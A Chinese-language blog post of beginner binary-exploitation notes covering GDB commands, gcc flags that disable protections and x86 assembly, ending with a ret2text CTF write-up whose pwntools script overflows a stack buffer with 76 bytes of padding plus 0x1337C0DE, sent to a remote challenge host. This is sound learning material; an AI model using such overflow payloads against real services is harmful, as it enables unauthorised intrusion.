ret2text

零碎笔记

从0开始的PWN

在gdb里面tap 查看所有命令
objdump -d a -M intel | less
socat tcp-l:8888,fork exec:./a.out,reuseaddr
nc 127.0.0.1 8888
pwd 当前目录

GDB

运行

  • run 完全执行
  • start 运行到入口点
  • si 步入
  • finish 步出
  • ni 下一步(不进入函数)

查看

  • i (b, r)

  • x/20i $rip (查看从rbp开始的汇编20行)

  • x/20b [0x7ffffffe210] (0x7ffffffe210地址开始的4字节显示)

  • x/20gx (g 八字节,b 一字节,w 四字节,d 十进制)

  • x/20wx

  • x/20bx

  • x/20ix

  • x/20s

  • vmmap

  • p $rax=19 (print 查看地址)

  • p eviron(查看环境变量)

  • hexdump $rbp(查看内存)(高亮)

  • telescope $rbp(查看内存)

强制修改内存内容

set * oxffffff0978=0x61
set * ((unsigned int)$rbp)=0x61
set *(unsigned int *)$rbp = 0x22

反编译

  • disadissemble main、$rip(可见它在哪个函数)
  • set disassembly-flavor intel(intel 的汇编)

断点

  • 设置:b 函数
  • 清除断点:clear 函数/行号/空 delete b id 指定编号的断点
  • 失效/启用断点:disable/enable b id

GCC

gcc (-m32) text.c (-fno-omit-frame-pointer) -o text.o
-g 调试信息
-fno-omit-frame-pointer
-no-pie
-z execstack
-O1/2/3(优化代码)

汇编

运算

add 加
sub 减

mul (无符号)乘
imul (有符号)乘
div (无符号)除
idiv (有符号)乘

neg 取负数

inc 自增
dec 自减

and 与
text eax,eax -> eax&eax(保存 )
or 或
not 非(逐位取反)

xor 异或 xor eax,eax : eax=0
lea rax,[rbp-0x18] : rax = rbp-0x18 (载入地址->计算)

shl 左移
shr 右移

实现分支结构、循环结构

cmp 比较eax和ebx的值
test
jmp 无条件跳转
jxx

  • je 等
  • jne 不等
  • jg 大于
  • jge 大于等于
  • jl 小于
  • jle 小于等于

loop Looptop等价于
dec ecx
cmp ecx,0
jne Looptop

函数调用

call
①将IP寄存器(PC)的IP旧值压栈保存(保存在函数的栈帧顶部)
②设置IP新值,无条件转移到被调用函数的第一条指令

ret
从函数的栈帧顶部找到IP旧值,将其出栈并恢复IP寄存器


push 入栈
pop 出栈
push和pop只能对esp进行访问,但是不能访问栈中其他值

寄存器

rax 返回值
rbp、rsp 栈顶,栈底
rip 当前执行指令地址

例题

https://ctf.0x401.com/games/1/challenges#62-[Signin]ret2text

下载附件后用ida打开

在main内call vuln。在vlun内发现唯一的跳转,其中一个方向跳转到loc_1398,执行read_flag。跳转条件是jz(等于0时跳转)。cmp可以理解成减法,故当dword prt [rbp-4]内存放0x1337C0DEh时相减等于0,满足jz跳转条件。

Pasted image 20251129225231

通过执行程序,在前面发现一个不安全输入存在溢出,从rbp-50开始写入,距离前文rbp-4有76个字节的距离。

image
Segmentation fault(段错误),栈溢出导致了非法的内存访问。
Pasted image 20251129232248

Pasted image 20251129231016

构造payload为76个字节填充+0x1337C0DEh

from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")

# io = process('./pwn')
io = remote('154.94.237.159',33396 )

io.recvuntil(b"Enter Dexter's password: ")

payload = flat(b"A" * 76,0x1337C0DE,)
io.sendline(payload)

io.interactive()
```。/
posted @ 2025-11-29 23:25  Tracs  阅读(12)  评论(0)    收藏  举报